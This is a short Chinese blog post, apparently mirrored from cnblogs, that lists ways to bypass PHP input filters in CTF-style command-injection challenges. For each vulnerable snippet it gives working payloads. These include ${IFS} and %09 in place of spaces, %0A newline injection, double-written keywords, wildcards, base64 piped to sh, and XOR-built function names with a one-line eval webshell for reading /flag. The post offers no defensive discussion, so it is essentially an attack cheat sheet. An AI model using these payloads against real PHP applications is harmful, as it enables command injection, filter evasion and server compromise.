首页 > Web开发 > 详细

PHP check 的一些绕过技术

时间:2020-02-09 16:09:15      阅读:364      评论:0      收藏:0      [点我收藏+]

0x01 绕过空格

$_GET[str]=str_replace(" ","",$_GET[str]);
  • ${IFS} 但不能写作$IFS

  • $IFS$9

  • %09

0x02 绕过echo

system("echo \"$_GET[str]\";");
  • 执行命令加上反引号`` cat /flag\

  • "双引号闭合+|分割(或 &后台 &&判读 均要转码)

0x03 绕过符号

$_GET[str]=str_replace(array( "`", "$", "(", ")", ";","&","|","<"),"",$_GET[str]);
  • %0A 截断 111"%0Acat %2fflag "

0x04 绕过关键字替换

$str=str_replace("flag","",$_GET[str]);
  • 双写绕过 flflagag

0x05 绕过正则

preg_match("/flag/i",$str)
  • 反斜杠换行 ca\t fla\g

  • 模糊匹配 cat /fl* cat /fla?

  • base64 echo Y2F0IC9mbGFn|base64 -d|sh(Y2F0IC9mbGFn = cat /flag ,不能用)

  • 变量拼接 $a=%2ffl;$b=ag;cat $a$b;

0x06 绕过可见字符

if(preg_match("/[A-Za-z0-9_]+/",$code))
    {die("NO.");}
@eval($code);
  • 构造getFlag的异或字符串code=$_="%40%3e%2b%3b%2c%3c%3a"^"%27%5b%5f%7d%40%5d%5d";$_();

  • 注入一句话${_GET}[_](${_GET}[__])

  • 如果下划线_被禁用,使用大于等于%7F的字符

PHP check 的一些绕过技术

原文:https://www.cnblogs.com/kalbertlee/p/12287073.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!